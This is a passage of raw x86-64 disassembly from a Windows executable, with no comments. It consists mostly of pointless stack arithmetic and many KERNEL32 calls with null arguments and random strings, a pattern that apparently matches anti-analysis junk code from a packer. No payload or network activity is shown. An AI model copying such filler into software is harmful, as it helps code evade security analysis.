mov eax, dword [rsp + 0x5a54]
shr eax, cl
mov dword [rsp + 0x64f0], eax
movsx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x392], al
lea rax, [rsp + 0xc3f0]
mov qword [rsp + 0xcb00], rax
movsx eax, word [rsp + 0x20bc]
movsx ecx, word [rsp + 0x1fc8]
sar eax, cl
mov word [rsp + 0x1608], ax
movzx eax, word [0x1401c8a98]
mov word [rsp + 0x20c4], ax
mov rax, qword [rsp + 0xaeb0]
mov qword [0x1401c8b38], rax
lea rcx, str.JNIsK31k
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20c8], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6360], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
lea rcx, [rsp + 0x1ff18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.dKtzBSq3gF8K06M3EsPFdZ6uemgNnHo0W0jMySH43
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcb08], rax
lea rcx, [0x1401ac9a0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20b4], ax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc4e8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc828]
shl rax, cl
mov qword [rsp + 0xaf20], rax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xca00]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xcaf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f84], ax
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x398], al
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0xcaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6518], eax
lea rax, [rsp + 0x205]
mov qword [rsp + 0xcb10], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov qword [0x1401c8b40], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
movsx eax, word [rsp + 0x2068]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, word [0x1401c8af8]
movsx ecx, word [rsp + 0xfa0]
and eax, ecx
mov word [rsp + 0x14bc], ax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sar eax, cl
mov rcx, qword [rsp + 0xc7f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc560]
mov qword [rsp + 0xcb18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xca30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
or eax, ecx
mov byte [rsp + 0x397], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6544]
shl eax, cl
mov dword [rsp + 0x59b4], eax
mov rax, qword [rsp + 0xc7a0]
mov qword [rsp + 0xcb20], rax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2098], ax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8ac8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [0x1401c7060]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb020], rax
lea rdx, [rsp + 0x261b0]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6334], eax
movzx eax, word [rsp + 0x1f20]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2044], ax
movzx ecx, word [rsp + 0x2058]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20cc], ax
xor r9d, r9d
lea r8, [rsp + 0xc4d8]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64b0], eax
movzx ecx, word [rsp + 0x1f6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov byte [rsp + 0x399], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xc5e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov eax, dword [rsp + 0x6560]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xcb28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5ec4], eax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcac8]
mov byte [rcx], al
mov eax, dword [rsp + 0x644c]
mov ecx, dword [rsp + 0x6448]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d48], eax
mov rax, qword [rsp + 0xc910]
mov rcx, qword [rsp + 0xca58]
mov rax, qword [rax]
imul rax, qword [rcx]
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xca10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20d4], ax
movzx eax, word [rsp + 0x178c]
mov word [rsp + 0x20d8], ax
lea rcx, str.V284_MjEt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20d4], ax
movzx eax, word [rsp + 0x2018]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8a70], ax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0xa8d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0xc878]
mov rcx, qword [rsp + 0xa530]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9868], rax
mov edx, 0x1e16
mov rcx, qword [rsp + 0xca10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6434], eax
movzx eax, word [rsp + 0x2070]
mov word [rsp + 0x20dc], ax
movzx eax, word [rsp + 0x9c0]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xcb30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5ca4], eax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xc350]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcb20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.FK2PFXV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcb38], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x654c], eax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x38e], al
mov rax, qword [0x1401c8a30]
mov qword [rsp + 0xcb40], rax
movsx eax, word [rsp + 0x1fc8]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c70a0], ax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11e4], ax
lea rax, [rsp + 0x645c]
mov qword [rsp + 0xcb48], rax
movzx eax, byte [rsp + 0x2d8]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x394], al
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
imul rax, qword [rsp + 0xba40]
mov qword [rsp + 0xc898], rax
lea rax, [0x1401c8ab0]
mov qword [rsp + 0xcb50], rax
movsx eax, byte [rsp + 0x38b]
mov rcx, qword [rsp + 0xcb10]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x375], al
movzx ecx, word [rsp + 0x20d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x203c], ax
lea rax, [rsp + 0xc8e0]
mov qword [rsp + 0xcb58], rax
movsx eax, word [rsp + 0x2040]
movsx ecx, word [rsp + 0x1f9c]
or eax, ecx
mov word [rsp + 0x207c], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov word [0x1401c8b48], ax
mov rax, qword [rsp + 0xc760]
mov rcx, qword [rsp + 0xc990]
mov qword [rsp + 0xcb60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb1e8], rax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f1c], ax
mov rax, qword [rsp + 0xc7d0]
mov qword [rsp + 0xcb68], rax
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.Ozf_Y8blQw9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20e0], ax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xcb50]
mov rcx, qword [rsp + 0xc400]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5b60], eax
mov rax, qword [rsp + 0xc9c8]
mov qword [rsp + 0xcb70], rax
movsx eax, byte [rsp + 0x37c]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xca30]
mov byte [rcx], al
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0x1ef8], ax
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xc598]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64bc], eax
lea rcx, str.PeK2RJBy_B7p7_v
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x20e4], ax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc9c0]
sar rax, cl
mov rcx, qword [0x1401c8aa8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6394], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65c4], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x18a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc8c8]
mov qword [rsp + 0xcb78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5ec4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xc9f0]
movzx eax, word [rax]
mov word [rsp + 0x20e8], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64c8], eax
movzx eax, word [0x1401c8a58]
movzx ecx, word [rsp + 0x20a0]
sub eax, ecx
mov word [rsp + 0x1f38], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5e80]
mov dword [rsp + 0x659c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movsx eax, byte [rsp + 0x21f]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xca38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb3e0], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6408], eax
mov rax, qword [rsp + 0xc9f0]
movzx eax, word [rax]
mov word [rsp + 0x20ec], ax
movzx eax, word [rsp + 0x1388]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401c8a50]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc680]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcb68], rax
mov rax, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0xca00]
mov qword [rsp + 0xcb88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb88]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xc6b8]
mov qword [rcx], rax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xc878]
idiv qword [rcx]
mov qword [rsp + 0xa5c0], rax
mov rcx, qword [rsp + 0xca10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20c0]
xor eax, ecx
mov word [rsp + 0x137c], ax
mov rax, qword [0x1401c7020]
mov qword [rsp + 0xcb90], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
mov eax, dword [rsp + 0x6380]
mov ecx, dword [rsp + 0x5b60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x64d4], eax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x201c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f30], ax
lea rax, [rsp + 0x377]
mov qword [rsp + 0xcba0], rax
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x64cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6470], eax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x389]
sub eax, ecx
mov byte [rsp + 0x2d8], al
lea rdx, [rsp + 0x26178]
mov rcx, qword [rsp + 0xc538]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65cc], eax
movsx eax, word [rsp + 0x1e54]
movsx ecx, word [rsp + 0x1f7c]
or eax, ecx
mov word [0x1401c70a4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov word [rsp + 0x20f0], ax
mov rax, qword [rsp + 0xca48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ef8]
sar eax, cl
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xcba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37c]
sub eax, ecx
mov rcx, qword [rsp + 0xca30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [rsp + 0xc0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2020], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
mov eax, dword [rsp + 0x5a54]
mov dword [rsp + 0x65d0], eax
movsx eax, word [0x1401c8a80]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x134c], ax
lea rax, [rsp + 0x11e4]
mov qword [rsp + 0xcbb0], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba40]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8aa8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2090], ax
mov rax, qword [rsp + 0xc980]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc738]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc700], rax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9620]
sar rax, cl
mov qword [rsp + 0x9bd8], rax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20f4], ax
xor edx, edx
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
div qword [rsp + 0x9ee8]
mov qword [rsp + 0xca38], rax
mov eax, dword [rsp + 0x64d4]
mov dword [rsp + 0x65d4], eax
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xc770]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6404], eax
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x597c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x65a4], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2b6], al
lea rax, [0x1401c8a14]
mov qword [0x1401c8b50], rax
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc888]
mov word [rcx], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sub eax, ecx
mov word [rsp + 0x18cc], ax
movzx eax, word [rsp + 0x9c0]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1ce4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcbb8], rax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x39b], al
movzx ecx, word [rsp + 0x2020]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2078], ax
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6f0]
mov qword [rsp + 0xcbc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbc0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca58]
mov rcx, qword [rsp + 0xcb00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xca38], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cfc]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [0x1401c8b58], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov qword [rsp + 0xcbc8], rax
mov rax, qword [0x1401c8b38]
mov rcx, qword [rsp + 0xc700]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca18], rax
movzx ecx, word [rsp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20f8], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [rsp + 0x20fc], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x394], al
mov rax, qword [rsp + 0xc728]
mov ecx, dword [rsp + 0x5ec4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58cc], eax
xor edx, edx
mov eax, dword [rsp + 0x65d4]
mov rcx, qword [rsp + 0xc520]
div dword [rcx]
mov dword [rsp + 0x5ed0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fec], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64ec], eax
movsx eax, byte [rsp + 0x26b]
movsx ecx, byte [rsp + 0x255]
xor eax, ecx
mov byte [rsp + 0x388], al
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xc488]
mov rax, qword [rax]
and rax, rcx
mov qword [section..data], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x20bc]
mov word [rsp + 0x2100], ax
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xca70]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
mov r9d, 0x51c
xor r8d, r8d
lea rdx, [rsp + 0xc4c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x65d8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx ecx, word [rsp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f40], ax
movsx eax, word [rsp + 0x207c]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0xcbd0], rax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc760]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
lea rcx, [rsp + 0x1ffa8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcb10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
sar eax, cl
mov byte [rsp + 0x2b7], al
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6544]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xb3e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc488], rax
movzx eax, word [rsp + 0x1fb4]
mov word [rsp + 0x2104], ax
lea rax, [rsp + 0x20c4]
mov qword [0x1401c8b60], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [0x1401c7088]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5c0], rax
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x204c], ax
mov rax, qword [rsp + 0xc980]
movzx eax, word [rax]
mov word [rsp + 0x2108], ax
lea rcx, [rsp + 0x1ffd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
movzx eax, byte [rsp + 0x384]
movzx ecx, byte [rsp + 0x30b]
shl eax, cl
